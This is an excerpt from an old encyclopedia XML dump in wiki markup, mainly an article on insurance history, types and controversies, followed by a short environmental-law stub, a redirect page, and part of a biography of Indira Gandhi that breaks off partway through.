Early methods of transferring or distributing risk were practiced by [[Babylonia|Babylonian]] traders as long ago as the [[2nd millennium BCE]].  The Babylonians developed a system which was recorded in the famous [[Code of Hammurabi]], c. 1750 BC, and practiced by early [[Mediterranean]] sailing [[merchant]]s. If a merchant received a loan to fund his shipment, he would pay the lender an additional sum in exchange for the lender's guarantee to cancel the loan should the shipment be stolen. 

A thousand years later, the inhabitants of [[Rhodes|Rhodes]] invented the concept of the 'general average'.  Merchants whose goods were being shipped together would pay a proportionally divided premium which would be used to reimburse any merchant whose goods were jettisoned during storm or sinkage.

The [[Ancient Greece|Greeks]] and [[Ancient Rome|Romans]] introduced the origins of health and life insurance c. 600 AD when they organized guilds called &quot;benevolent societies&quot; which acted to care for the [[family|families]] and [[funeral]] expenses of members upon [[death]].  [[Guild]]s in the [[Middle Ages]] served a similar purpose.  The [[Talmud]] deals with several aspects of insuring [[Good (economics)|goods]]. Before insurance was established in the late 17th century, &quot;friendly societies&quot; existed in England, in which people donated amounts of money to a general sum that could be used in case of emergency.

Insurance became far more sophisticated in post-[[Renaissance]] [[Europe]], and specialized varieties developed. 

Toward the end of the seventeenth century, the growing importance of London as a center for trade led to rising demand for marine insurance. In the late 1680s, Mr. Edward Lloyd opened a coffee house which became a popular haunt of ship owners, merchants, and ships’ captains, and thereby a reliable source of the latest shipping news. It became the meeting place for parties wishing to insure cargoes and ships, and those willing to underwrite such ventures. Today, [[Lloyd's of London]] remains the leading market for marine and other specialist types of insurance, but it works rather differently than the more familiar kinds of insurance. 

Insurance as we know it today can be traced to the [[Great Fire of London]], which in 1666 devoured 13,200 houses.  In the aftermath of this disaster [[Nicholas Barbon]] opened an office to insure buildings.  In 1680 he established England's first fire insurance company, &quot;The Fire Office,&quot; to insure brick and frame homes.

The first insurance company in the [[United States]] provided fire insurance and was formed in Charles Town (modern-day [[Charleston, South Carolina|Charleston]]), [[South Carolina]], in 1732. 

[[Benjamin Franklin]] helped to popularize and make standard the practice of insurance, particularly against [[fire]] in the form of [[Perpetual Insurance|perpetual insurance]].  In 1752, he founded the [http://www.contributionship.com/ Philadelphia Contributionship for the Insurance of Houses from Loss by Fire]. Franklin's company was the first to make contributions toward fire prevention. Not only did his company warn against certain fire hazards, it refused to insure certain buildings where the risk of fire was too great, such as all wooden houses. 

In the United States, [[regulation]] of the insurance industry is highly [[Balkanization|Balkanized]], with primary responsibility assumed by individual [[U.S. state|State]] insurance departments.  Whereas insurance markets have become centralized nationally and internationally, state insurance commissioners operate individually, though at times in concert through a national insurance [[commissioner]]'s organization.  In recent years, some have called for a federal regulatory system for insurance similar to that of the banking industry.

In the State of [[New York]], which has unique laws in keeping with its stature as a global business center, Attorney General [[Eliot Spitzer]] has been in a unique position to grapple with major national insurance brokerages.  Spitzer alleged that [[Marsh &amp; McLennan Companies|Marsh &amp; McLennan]] steered business to insurance carriers based on the amount of contingent commissions that could be extracted from carriers, rather than basing decisions on whether carriers had the best deals for clients.  Several of the largest commercial insurance brokerages have since stopped accepting contingent commissions and have adopted new business models.

== Types of insurance ==
Any risk that can be quantified probably has a type of insurance to protect it. Among the different types of insurance are:

*[[Auto insurance|Automobile insurance]], also known as ''auto insurance'', ''car insurance'' and in the [[UK]] as ''motor insurance'', is probably the most common form of insurance and may cover both legal [[Liability#In law|liability]] claims against the [[driver]] and loss of or [[damage]] to the [[vehicle]] itself. Over most of the [[United States]] purchasing an auto insurance policy is required to legally operate a motor vehicle on public roads. Recommendations for which policy limits should be used are specified in a number of books.  In some jurisdictions, bodily injury compensation for automobile accident victims has been changed to [[No_fault_insurance|No Fault]] systems, which reduce or eliminate the ability to sue for compensation but provide automatic eligibility for benefits.
*[[Boiler insurance]] (also known as Boiler and Machinery insurance or Equipment Breakdown Insurance)
*[[Casualty insurance]] insures against accidents, not necessarily tied to any specific property.
*[[Credit insurance]] pays some or all of a [[loan]] back when certain things happen to the borrower such as [[unemployment]], [[disability]], or [[death]].
*[[Financial loss insurance]] protects individuals and companies against various financial risks. For example, a [[business]] might purchase cover to protect it from loss of [[sales]] if a fire in a [[factory]] prevented it from carrying out its business for a time. Insurance might also cover failure of a [[creditor]] to pay [[money]] it owes to the insured.  [[Fidelity bond]]s and [[surety bond]]s are included in this category.
*[[Health insurance]] covers [[medicine|medical]] bills incurred because of [[disease|sickness]] or accidents.
*[[Liability insurance]] covers legal claims against the insured. For example, a homeowner's insurance policy provides the insured with protection in the event of a claim brought by someone who slips and falls on the property, and brings a lawsuit for her injuries. Similarly, a [[Physician|doctor]] may purchase liability insurance to cover any legal claims against him if his negligence (carelessness) in treating a patient caused the patient injury and/or monetary harm.  The protection offered by a liability insurance policy is two-fold: a legal defense in the event of a lawsuit commenced against the policyholder, plus indemnification (payment on behalf of the insured) with respect to a settlement or court verdict.
*[[Life insurance]] provides a cash benefit to a decedent's family or other designated beneficiary, and may specifically provide for [[burial]] and other final expenses.
**[[annuity|Annuities]] provide a stream of payments and are generally classified as insurance because they are issued by insurance companies and regulated as insurance. Annuities and [[pension]]s that pay a benefit for life are sometimes regarded as insurance against the possibility that a [[retirement|retiree]] will outlive his or her financial resources.  In that sense, they are the complement of life insurance.
*[[Total permanent disability insurance]] insurance provides benefits when a person is permanently disabled and can no longer work in their profession, often taken as an adjunct to life insurance. 
*[[Locked Funds Insurance]] is a little known hybrid insurance policy jointly issued by governments and banks. It is used to protect public funds from tamper by unauthorised parties. In special cases, a government may authorise its use in protecting semi-private funds which are liable to tamper. Terms of this type of insurance are usually very strict. As such it is only used in extreme cases where maximum security of funds is required.
*[[Marine Insurance]] covers the loss or damage of goods at sea.  Marine insurance typically compensates the owner of merchandise for losses sustained from fire, shipwreck, etc., but excludes losses that can be recovered from the carrier.
*Nuclear incident insurance - damages resulting from an incident involving radioactivive materials is generally arranged at the national level.  (For the United States, see [[Price-Anderson Nuclear Industries Indemnity Act]].)
*[[Political risk insurance]] can be taken out by businesses with operations in [[country|countries]] in which there is a risk that [[revolution]] or other [[politics|political]] conditions will result in a loss.
*[[Professional Indemnity Insurance]] is normally a mandatory requirement for professional practitioners such as Architects, Lawyers, Doctors and Accountants to provide insurance cover against potential negligence claims.  Non licensed professionals may also purchase malpractice insurance, it is commonly called Errors and Omissions Insurance and covers a service provider for claims made against them that arise out of the performance of specified professional services.  For instance, a web site designer can obtain E&amp;O insurance to cover them for certain claims made by third parties that arise out of negligent performance of web site development services.
*[[Property insurance]] provides protection against risks to property, such as fire, [[theft]] or [[weather]] damage.  This includes specialized forms of insurance such as [[fire insurance]], [[flood insurance]], [[earthquake insurance]], [[home insurance]], inland marine insurance or [[boiler insurance]].
*[[Terrorism insurance]]
*[[Title insurance]] provides a guarantee that title to [[real property]] is vested in the purchaser and/or [[mortgage]]e, free and clear of [[lien]]s or encumbrances. It is usually issued in conjunction with a search of the public records done at the time of a [[real estate]] transaction.
*[[Travel insurance]] is an insurance cover taken by those who travel abroad, which covers certain losses such as medical expenses, lost of personal belongings, travel delay, personal liabilities.. etc.
*[[Workers' compensation]] insurance replaces all or part of a worker's [[wage]]s lost and accompanying medical expense incurred due to a job-related injury. 

A single policy may cover risks in one or more of the above categories.  For example, car insurance would typically cover both property risk (covering the risk of theft or damage to the car) and liability risk (covering legal claims from say, causing an accident).  A [[home insurance|homeowner]]'s insurance policy in the US typically includes property insurance covering damage to the home and the owner's belongings, liability insurance covering certain legal claims against the owner, and even a small amount of health insurance for medical expenses of guests who are injured on the owner's property.

Potential sources of risk that may give rise to claims are known as &quot;[[peril]]s&quot;.  Examples of perils might be fire, theft, [[earthquake]], [[hurricane]] and many other potential risks.  An insurance policy will set out in details which perils are covered by the policy and which are not.

==Types of insurance companies==
Insurance companies may be classified as

*''Life'' insurance companies, who sell life insurance, annuities and pensions products.
*''Non-life'' or ''general'' insurance companies, who sell other types of insurance.

In most countries, life and non-life insurers are subject to different regulations, [[tax]] and [[accounting]] rules.  The main reason for the distinction between the two types of company is that life business is very long term in nature &amp;mdash; coverage for life assurance or a pension can cover risks over many [[decade]]s.  By contrast, non-life insurance cover usually covers a shorter period, such as one year.

Insurance companies are generally classified as either ''[[mutual]]'' or ''stock'' companies.  This is more of a traditional distinction as true mutual companies are becoming rare.  Mutual companies are owned by the policyholders, while stockholders, (who may or may not own policies) own stock insurance companies.

''[[Reinsurance]]'' companies are insurance companies that sell policies  to other insurance companies, allowing them to reduce their risks and protect themselves from very large losses. The reinsurance market is dominated by a few very large companies, with huge reserves.

''[[Captive Insurance]]'' companies may be defined as limited purpose insurance companies established with the specific objective of financing risks emanating from their parent group or groups. This definition can sometimes be extended to include some of the risks of the parent company's customers. In short terms, it is an in-house self-insurance vehicle. Captives may take the form of a &quot;pure&quot; entity (which is a 100% a subsidiary of the self-insured parent company); of a &quot;mutual&quot; captive (which insures the collective risks of industry members) and of an &quot;association&quot; captive (which self-insures individual risks of the members of a professional, commercial or industrial association). Captives represent commercial, economic and tax advantages to their sponsors due to the reductions on costs they help create, the ease for insurance risk management and the flexibility for cash flows they generate. Additionally, they may provide coverage of risks which are neither available nor offered in the traditional insurance market at reasonable prices.

The types of risk that a captive can underwrite for the parent include property damage, public and products liability, professional indemnity, employee benefits, employers liability, motor and medical aid expenses. The captive's exposure to such risks may be limited by the use of reinsurance.

Captives are becoming an increasingly important component of the risk management and risk financing strategy of their parent. This can be understood against the following background:

*heavy and increasing premium costs in almost every line of coverage;
*difficulties in insuring certain types of fortuitous risk;
*differential coverage standards in various parts of the world;
*rating structures which reflect market trends rather than individual loss experience;
*insufficient credit for deductibles and/or loss control efforts.

There are also companies known as 'insurance consultants'. Like a mortgage broker, these companies are paid a fee by the customer to shop around for the best insurance policy amongst many companies .

Similar to an insurance consultant, an 'insurance broker' also shops around for the best insurance policy amongst many companies.   However, with insurance brokers, the fee is usually paid in the form of commission from the insurer that is selected rather than directly from the client.

Third Party Administrators are companies that perform underwriting and sometimes claims handling services for insurance companies.  These companies often have special expertise that the insurance companies do not have.

==Life insurance and saving==
Certain life insurance contracts accumulate [[cash]] values, which may be taken by the insured if the policy is surrendered or which may be borrowed against. Some policies, such as annuities and [[financial endowment|endowment]] policies, are financial instruments to accumulate or [[liquidation|liquidate]] [[wealth]] when it is needed. See [[life insurance]].  

In many countries, such as the US and the UK, [[tax law]] provides that the interest on this cash value is not taxable under certain circumstances. This leads to widespread use of life insurance as a tax-efficient method of [[saving]] as well as protection in the event of early death.

==Financial viability of insurance companies==
Financial stability and strength of the insurance company should be a major consideration when purchasing an insurance contract. An insurance premium paid currently provides coverage for losses that might arise many years in the future.  For that reason, the viability of the insurance carrier is very important. In recent years, a number of insurance companies have become insolvent, leaving their policyholders with no coverage (or coverage only from a government-backed insurance pool with less attractive payouts for losses). A number of independent rating agencies, such as Best's, provide information and rate the financial viability of insurance companies.

==Controversies==
=== Insurance insulates too much ===
By creating a &quot;security blanket&quot; for its insureds, an insurance company may inadvertently find that its insureds may not be as risk-averse as they should be (since the insured assumes the risk belongs to the insurer). This problem is known to the insurance industry as [[moral hazard]]. To reduce their own financial exposure, insurance companies have contractual clauses that mitigate their obligation to provide coverage if the insured engages in some kind of behavior that grossly magnifies their risk of loss or liability.  

For example, liability insurance providers do not provide coverage for liability arising from [[intentional tort]]s committed by the insured.  Even if a provider was irrational enough to try to provide such coverage, it is against the public policy of most countries to allow such insurance to exist, and thus it is usually illegal.

===Complexity of insurance policy contracts===
Insurance policies can be complex and some policyholders may not understand all the fees, regulation and coverages included in a policy. As a result, people could buy policies at unfavorable terms. In response to these issues, governments often make detailed regulations that set down minimum standards for policies and govern how they may be [[advertising|advertised]] and sold.

Many individuals purchase policies through an insurance broker.  The broker can counsel the policyholder on which coverage to purchase and limitations of the policy. A broker generally holds contracts with many insurers which allows the broker to &quot;shop&quot; the [[market]] for the best rates and coverage possible.

=== Redlining ===
Redlining is the practice of some insurance companies to deny the issuance of coverage in specific geographic areas, usually due to an increased likelihood of risk; the validity of the assessment may be real or perceived, though it is often attributed to discrimination. 

Evaluation of risk, when an insurer determines a premium or premium rate structure, considers  quantifiable factors, including location, [[credit score]]s, [[gender]], [[occupation]], [[marital status]], and [[education]] level.  However, the use of these essential factors, whether inappropriately or not, are often considered to be 'unfair' or [[discriminatory]] by some consumers and their advocates, sometimes leading to political disputes about insurers' determination of premiums and possible [[government]] intervention to limit the factors used.   

A refutation to this is that the job of an insurance underwriter is to properly categorize a given risk as to the likelihood that the loss will occur. Any factor that causes a greater likelihood of loss should in theory, be charged a higher rate. This is a basic principle of insurance and must be followed for insurance companies or groups to operate properly, even for [[non-profit organization]]s. Thus, discrimination of potential insureds by legitimate factors is central to insurance. Therefore the only thing that can be considered legitimately &quot;unfair&quot; are practices that [[discrimination|discriminate]] against a given group without actual factors that show that the group is a higher risk. So, eliminating real factors discriminates against other insureds by forcing them to bear part of the cost of the disallowed perceived factors.

=== Health insurance ===
Health insurance, which is coverage for individuals to protect them against medical costs, is a highly charged and political issue in the United States, which does not have socialized health coverage.  In theory, the market for health insurance provision should function in a manner similar to other insurance coverages, but the skyrocketing cost of health coverage has disrupted markets around the globe, but perhaps most glaringly in the US.  Please see [[health insurance]] for a discussion of this category.

=== Dental insurance ===
Dental insurance, like health insurance, is coverage for individuals to protect them against dental costs.  Dental insurance usually goes hand-in-hand with health insurance, with most people in the United States receiving it included in their health insurance plan from their employer.  Along with receiving dental insurance from your employer, there are ways to receive dental insurance through resellers and companies for individuals and families; although this way tends to be too expensive for most people.

=== Insurance Patents ===
New insurance products can now be protected from copying with a [[business method patent]].  This may lead to the more rapid introduction of new insurance products as insurance companies will invest more heavily in new product development if they can be reasonably assured that their patents will keep those products from being copied.

A recent example of a new insurance product that is patented is telematic [[auto insurance]].  It was independently invented and patented by a major US auto insurance company, [[Progressive Corporation|Progressive Auto Insurance]] ([http://www.freepatentsonline.com/5797134.html US patent 5,797,134]) and a Spanish independent inventor, Salvador Minguijon Perez ([http://v3.espacenet.com/origdoc?DB=EPODOC&amp;IDX=EP0700009&amp;F=8&amp;RPN=EP0700009&amp;DOC=cca34af1984f0dc47b32e9a9722ad1a148 European Patent EP0700009B1]).  

The basic idea of telematic auto insurance is that a driver's behavior is monitored directly while the person drives and this information is transmitted to an insurance company.  The insurance company then assesses the risk of that driver having an accident and charges insurance premiums accordingly. A driver that drives a lot of distance at high speed, for example, will be charged a higher rate than a driver that drives small distances at low speed.  

A British auto insurance company, [[Norwich Union]], has taken a license to both the Progressive patent and Perez patent.  They have made additional investments in infrastructure and developed a commercial offering called &quot;Pay As You Drive&quot; or PAYD.  

Many independent inventors are in favor of patenting new insurance products since it gives them protection from big companies when they bring their new insurance products to market.  Independent inventors account for 70% of the new US patent applications in this area.

Many insurance executives are opposed to patenting insurance products because it creates a new risk for them.  [[The Hartford]] insurance company, for example, had to recently pay US$80 million to an independent inventor, Bancorp Services, in order to settle a patent infringement and theft of trade secret lawsuit for a new type of corporate owned life insurance product invented and patented by Bancorp.

There are currently about 150 new patent applications on insurance inventions filed per year in the United States. [http://marketsandpatents.com/IPB-12152005.mht (Source: Insurance IP Bulletin, December 15, 2005)].  Only about 20 - 30 patents per year, however, are actually issuing.

=== The insurance industry and rent seeking ===
Certain insurance products and practices have been described as [[rent seeking]] by critics. That is, insurance companies have been alleged to have certain products or practices that are only useful due to certain government laws (especially tax laws), and that the insurance industry in these cases generally adds no economic value but instead supports politicians who will continue the legal regime which gives the insurance company these benefits. For example, in the United States the current tax rules generally allow owners of variable annuities (see [[annuity (US financial products)]] and variable life insurance (see [[variable universal life insurance]]) to invest in the stock market and defer or eliminate paying any taxes until withdrawals are made. Sometimes this tax deferral is the only reason some individuals use these products instead of a mutual fund. Another example is the legal infrastructure which allows life insurance to be held in an irrevocable trust which is used to pay an [[estate tax]] while the proceeds itself are immune from the estate tax.

== Insurance in [[Blackjack]] ==
In the [[casino]] game , [[insurance]] is an optional play that requires the player to bet 1/2 of his current bet to the posibilitiy of the house drawing a blackjack (an ace and a ten), if the house does draw a blackjack, all insured players get their bet back, including the insurance, if not, the insurance is lost and the game continues as normal. A player can only buy insurance if the house open [[card]] is an ace, and only at the beginning of his turn.

According to [[Game Theory]], it is statistically unwise to buy insurance, given that the potential win is not enough to justify the risk of losing (there are 12 different cards, and either 4 or 1 are any good if insurance is possible).

==Glossary==
* 'Combined Ratio' = loss ratio + expense ratio.  Loss Ratio is calculated by dividing the amount of losses by the amount of written premium.  Expense ratio is calculated by dividing the amount of operational expenses by the amount of earned premium.  A lower number indicates a better return on the amount of capital placed at risk by an insurer.

==Quote==
* [[Maurice R. Greenberg|Hank Greenberg]] told his board of directors, &quot;you can't even spell 'insurance'&quot;[http://editor.slate.msn.com/default.aspx/id/2116167/nav/ais/] (hearsay, April 2005) 

==See also==
* [[Cindy Ossias]]
* [[False insurance claims]]
* [[Financial services]] (broader industry to which insurance belongs)
* [[Intergovernmental Risk Pool]]
* [[Uberrima fides]]

===Lists===
* [[List of finance topics#insurance|List of insurance topics]]
* [[List of finance topics]]
* [[List of U.S. insurance companies]]

==External links==
*[http://www.internationalinsurance.org/international/rankings Insurance industry statistics in the world.]
*[http://www.iii.org/media/facts/statsbyissue/industry Insurance industry statistics in the U.S.]
*[http://www.eh.net/encyclopedia/?article=murphy.life.insurance.us Life Insurance in the United States through World War I]
*[http://www.encyclopedia.com/html/section/insuranc_TheHistoryofInsurance.asp Columbia Encyclopedia: The History of Insurance]
[[Category:Insurance|*]]
[[Category:Service industries]]

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[[de:Versicherung]]
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[[zh:保險]]</text>
    </revision>
  </page>
  <page>
    <title>International Convention for the Prevention of Pollution from Ships</title>
    <id>15177</id>
    <revision>
      <id>26819085</id>
      <timestamp>2005-10-29T20:44:02Z</timestamp>
      <contributor>
        <username>Mkill</username>
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      <comment>un-double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[MARPOL 73/78]]</text>
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  <page>
    <title>International environmental law</title>
    <id>15178</id>
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      <id>40784388</id>
      <timestamp>2006-02-23T00:15:01Z</timestamp>
      <contributor>
        <ip>128.223.242.199</ip>
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      <text xml:space="preserve">'''International environmental law''' is the body of [[international law]] that concerns the protection of the global environment.

There have been many [[environmental agreements|legally-binding international agreements]] concerning the protection of the environment, but in this area of international law [[soft law]] is more common than normal.

Some basic principles of international environmental law are:
*the [[precautionary principle]]
*the [[polluter pays principle]]
*the principle of [[sustainable development]]
*environmental procedural rights

Important cases have included the various [[nuclear testing|nuclear testing]] cases such as between [[New Zealand]] and [[France]] before the [[International Court of Justice]].

Groups active in the area include the [http://www.elaw.org/ Environmental Law Alliance Worldwide(E-LAW)] and the[http://www.ciel.org/ Centre for International Environmental Law]

International environmental lawyers often receive specialized training in the form of an LL.M. degree after having a first law degree -- often in another country from where they got their first law degree.  Notable programs include the[http://www.law.uoregon.edu/org/llm/ LL.M. in Environmental Law Program at the University of Oregon]

{{law-stub}}

[[Category:Environmental law]]</text>
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  <page>
    <title>Indira Gandhi</title>
    <id>15179</id>
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      <timestamp>2006-03-03T20:20:30Z</timestamp>
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      <comment>/* Operation Blue Star and Assassination */</comment>
      <text xml:space="preserve">{{cleanup-date|January 2006}}

{| cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; style=&quot;float: right; clear: right; border: 1px solid; margin-left: 1em&quot;
|+ '''Indira Priyadarshini Gandhi'''
! bgcolor=&quot;#efefef&quot; colspan=&quot;2&quot; | [[Image:Indira Gandhi.jpg|250px|Indira Gandhi]]
|-
! Date of Birth:
| [[19 November]], [[1917]]
|-
! Date of Assassination:
| [[31 October]], [[1984]]
|-
! Place of Birth:
| [[Allahabad]], [[Uttar Pradesh|UP]], [[India]]
|-
! bgcolor=&quot;#efefef&quot; colspan=&quot;2&quot; | [[Prime Minister of India]]
|-
! Tenure Order:
| 3rd &amp; 6th Prime Minister&amp;nbsp;
|-
! Political party: 
| [[Indian National Congress|Congress (I)]]
|-
! colspan=&quot;2&quot; style=&quot;border-top: 1px solid&quot; | First Term
|-
! Took Office:
| [[19 January]], [[1966]]
|-
! Left Office:
| [[24 March]], [[1977]]
|-
! Predecessor:
| [[Gulzarilal Nanda]]
|-
! Successor:
| [[Morarji Desai]]
|-
! colspan=&quot;2&quot; style=&quot;border-top: 1px solid&quot; | Second Term
|-
! Took Office:
| [[15 January]], [[1980]]
|-
! Left Office:
| [[31 October]], [[1984]]
|-
! Predecessor:
| [[Choudhary Charan Singh|Charan Singh]]
|-
! Successor:
| [[Rajiv Gandhi]]
|}
'''Indira Priyadarshini Gandhi (इन्दिरा प्रियदर्शिनी गान्धी)''' ([[19 November]], [[1917]] &amp;ndash; [[31 October]], [[1984]]) was [[Prime Minister of India]] from [[19 January]], [[1966]] to [[24 March]], [[1977]], and again from [[14 January]], [[1980]] until her [[assassination]] on [[31 October]], [[1984]].

The daughter of Prime Minister [[Jawaharlal Nehru]] (and not related to [[Mahatma Gandhi]]), she was one of modern [[India]]'s most  notable and politically controversial leaders.

==Early years==
The [[Nehru]] family can trace their ancestry to the [[Brahmin]]s of [[Jammu and Kashmir]] and [[Delhi]]. Indira's grandfather [[Motilal Nehru]] was a wealthy barrister of [[Allahabad]] in what is now [[Uttar Pradesh]]. Nehru was one of the most prominent members of the [[Indian National Congress]] in pre-[[Gandhi]] times and would go on to author the [[Nehru Report]], the people's choice for a future Indian system of government as opposed to the British system. Her father [[Jawaharlal Nehru]] was a well-educated lawyer and was a popular leader of the [[Indian Independence Movement]]. Indira was born to his young wife Kamala, at this juncture Nehru entered the independence movement with [[Mahatma Gandhi]]. 

Growing up in the sole care of her mother, who was sick and alienated from the Nehru household, Indira developed strong protective instincts and a loner personality. Her grandfather and father continually being enmeshed in national politics also made mixing with her peers difficult. She had conflicts with her father's sisters, and these continued into the political world.

Indira created the [[Vanara Sena]] movement for young girls and boys which played a small but notable role in the [[Indian Independence Movement]], conducting protests and flag marches, as well as helping Congress politicians circulate sensitive publications and banned materials. In an often-told story, Indira smuggled out from her father's police-watched house an important document in her schoolbag that outlined plans for a major revolutionary initiative in the early [[1930s]].

In 1936, her mother [[Kamala Nehru]] finally succumbed to [[tuberculosis]] after a long struggle.  Indira was 17 at the time and thus never experienced a stable family life during her childhood. Indira attended prominent Indian, European and British schools like [[Santiniketan]] and [[Oxford]], but her weak academic performance prevented her from obtaining a degree. In her years in continental Europe and the U.K., she met [[Feroze Gandhi]], a young [[Parsee]] Congress activist, whom she married in 1942, just before the beginning of the [[Quit India Movement]] - the final, all-out national revolt launched by [[Gandhi]] and the Congress Party. Indira and Feroze were arrested and detained for several months for their involvement in the movement. In 1944, Indira gave birth to [[Rajiv Gandhi]], followed two years later by [[Sanjay Gandhi]]. 

During the traumatic [[Partition of India]] in 1947, Indira helped organize refugee camps and provide medical care for the millions of refugees from [[Pakistan]]. This was her first exercise in major public service, and a valuable experience for the tumult of the coming years.

==Personal Life==
The couple later settled in [[Allahabad]] where Feroze worked for a Congress Party newspaper and an insurance company. Their marriage started out well, but deteriorated later as Indira moved to [[Delhi]] to be at the side of her father, the Prime Minister, who was living alone in a high-pressure environment. Indira became his constant confidante, secretary and nurse. The boys lived with her, and the separation eventually became permanent. 

When India's first general election approached in 1952, Indira managed the campaigns of both Nehru and her husband, who was contesting the constituency of [[Rae Bareilly]]. Feroze had not consulted Nehru on his choice to run, and even though he was elected, he opted to live in a separate house in Delhi. Feroze quickly developed a reputation for being a fighter against [[political corruption|corruption]] by exposing a major scandal in the nationalized insurance industry, resulting in the resignation of the Finance Minister, a Nehru aide. 

At the height of the tension, it was known to both that Feroze was having extramarital affairs. However, in 1957, shortly after re-election, Feroze suffered a heart attack, which dramatically healed Indira's broken marriage. At his side to help him recuperate in [[Kashmir]], Indira, her husband and her children grew closer. But Feroze died on [[8 September]], [[1960]], while Indira was abroad with Nehru on a foreign visit.

==Rise to Power==
From 1959 - 1960, Indira was elected the President of the [[Indian National Congress]]. Her term of office was uneventful. Indira also acted as her father's chief of staff. Nehru was known as a vocal opponent of [[nepotism]], and Indira did not contest a seat in the 1962 elections.

Nehru died in May of 1964, and Indira, at the urgings of the new Prime Minister [[Lal Bahadur Shastri]], contested elections and joined the Government, being immediately appointed Minister for Information and Broadcasting. She went to [[Chennai]] when the riots over Hindi becoming the national language broke out in Southern, non-Hindi speaking states: There she spoke to government officials, soothed the anger of community leaders and supervised reconstruction efforts for the affected areas.  Shastri and senior Ministers were embarrassed, owing to their lack of such initiative. Indira's actions were probably not directly aimed at Shastri or her own political elevation.  Indira lacked interest for details in work and was a lack-lustre Minister, but she was media-savvy, and adept at the art of politics and image-making. 

When the [[Indo-Pakistani War of 1965]] broke out, Indira was vacationing in the border region of [[Srinagar]]. Although warned by the Army that Pakistani insurgents had penetrated very close to the city, Indira refused to shift to [[Jammu]] or [[Delhi]]. She rallied local government and welcomed media attention, in effect reassuring the nation. Indira was hailed as the &quot;only man in a cabinet full of women&quot;. Shastri died in [[Tashkent]], while conducting the peace agreement with Pakistan's Ayub Khan, with Soviet mediation. The circumstances of his death are unclear to this day. It is alleged that seniors in the Congress Party, changed the Prime Minister's personal aides at the very last moment. Others feel it was an assassination made to order since Indira was elected, in rather undue haste, as the person to succeed him.

Shastri had been a candidate of consensus, bridging the left-right gap and staving off the conservative [[Morarji Desai]]. Among Indira's many supporters was Congress President [[Kumaraswami Kamaraj]]. Many years later, Kamaraj declared that he had made a personal vow to Nehru, to make Indira, the Prime Minister 'at any cost'. (Nehru had assisted Kamaraj earlier in his political ambitions and had made him the General Secretary of the Congress Party. Kamaraj could speak only his native Tamil; Nehru's insistence at having Kamaraj in the most important post had raised eyebrows earlier). In a vote of the Congress Parliamentary Party, Indira won against Desai, 355 to 169, becoming the third Prime Minister of India, the first woman to hold that position in the world's most populous democracy.

[[Image:Indira_and_Nixon.JPG|thumb|Richard Nixon and Indira Gandhi in 1971]]

==Nuclear Security and the Green Revolution==
During the 1971 War, the US had sent its 7th Fleet to the [[Bay of Bengal]] as a warning to India not to use the genocide in East Pakistan as a pretext to launch a wider attack against West Pakistan, especially over the disputed territory of [[Kashmir]]. This move had further alienated India from the First World, and Indira now accelerated a previously cautious new direction in national security and foreign policy. India and the [[USSR]] had earlier signed the Treaty of Friendship and Mutual Cooperation, the resulting political and military support contributing substantially to  India's victory in the 1971 war. 

But Indira now also accelerated the national nuclear program, as it was felt that the nuclear threat from [[China]] and the intrusive interest of the two major superpowers were not conducive to India's stability and security. Indira also invited the new Pakistani President [[Zulfikar Ali Bhutto]] to [[Shimla]] for a week-long summit. After near-failure of the talks, Bhutto and Indira eventually signed the [[Shimla Agreement]], which bound the two countries to resolve the Kashmir dispute by negotiations and peaceful means. 

Indira Gandhi was heavily criticized for not extracting the Pakistan-occupied portion of Kashmir from a humiliated Pakistan, whose 93,000 POWs were under Indian control. But the agreement did remove immediate United Nations and third party interference, and much reduced the likelihood of Pakistan launching a major attack in the near future. By not demanding total capitulation on a sensitive issue from Bhutto, Indira had allowed Pakistan to stabilize and normalize. Trade relations were also normalized, though much contact remained frozen for years. 

In 1974, India successfully conducted an underground nuclear test near the desert village of [[Pokhran]] in [[Rajasthan]]. Describing the test as for &quot;peaceful purposes&quot;, India nevertheless became the world's youngest nuclear power. This move naturally prompted Pakistan's nuclear program. 

Special agricultural innovation programs and extra government support launched in the 1960s had finally resulted in India's chronic food shortages gradually being transformed into major production surpluses of wheat, rice, cotton and milk. The country became a food exporter, and diversified its commercial crop production as well, in what has become known as the ''[[Green Revolution]]''. At the same time, the White Revolution was an expansion in milk production which helped to combat malnutrition, especially amidst young children. Indira's economic policies, while socialistic, brought major industrialization as well.

==The PM's Personal Life==
Indira Gandhi, heroine and icon that she had become after 1971, just like her father was now more emotionally isolated than ever. The instability of her childhood had prevented her from developing her own independent personal interests and lifestyle. It had been her sense of duty and pride in her father and family legacy that had brought her into politics, but she had never been given the space to develop as a person. Through the 1950s and 1960s, she had corresponded with Dorothy Norman, a New York-based journalist, who became a very close friend via correspondence. But apart from political associates, she had no personal friends. Her sons were 'studying in England' (neither obtained any formal degrees from any university and in a sense were failures professionally). She was fond of her grandchildren. But she grew ever more close to her younger son, Sanjay, who is accused by many historians of misusing his mother's emotional dependence. 

Indira Gandhi may have seen traits of Feroze in Sanjay and was ever-anxious to please him, as she perceived that Sanjay blamed her for his father's death. While Rajiv developed as an independent young man free from politics, Sanjay's reckless youth induced a need in his mother to take care of her son under all circumstances. The outcome was a political partnership that eventually resulted in abrogation of democracy, corruption and abuse of power on a previously unwitnessed scale. Rajiv Gandhi is believed to have said that he would never forgive his brother for what he had done to their mother at a time when Indira was isolated, depressed and humiliated after her defeat in the 1977 elections.

==Emergency==
{{main|Indian Emergency}}
Indira's government faced major problems after 1971. [[Sycophant|Sycophancy]] enveloped her administration, leaving the Congress Party entirely dependent on her leadership for its election fortunes. Socialism and a burgeoning bureaucracy brought major inefficiency and corruption into the national economy and administration. The Green Revolution was transforming the lives of India's vast underclasses, but not with the speed promised under ''Garibi Hatao''. Job growth was not strong enough to curb the widespread unemployment. A government contract to build India's first indigenous car was awarded to [[Sanjay Gandhi]], whose [[Maruti]] company subsequently failed to produce a single unit. 

Indira had stood accused of authoritarianism before. Using her strong parliamentary majority, she had amended the Constitution and stripped power from the states granted under the federal system. The Congress Party government had repeatedly imposed ''President's Rule'' by deeming states ruled by opposition parties as &quot;lawless and chaotic&quot;, thus winning administrative control of those states. Elected officials resented the growing influence of Sanjay Gandhi, who had become Indira's close political advisor at the expense of men like P.N. Haksar, the architect of Indira's political ascendancy. Renowned public figures and former freedom-fighters like [[Jaya Prakash Narayan]] and [[Acharya Jivatram Kripalani]] now spoke actively against her Government. 

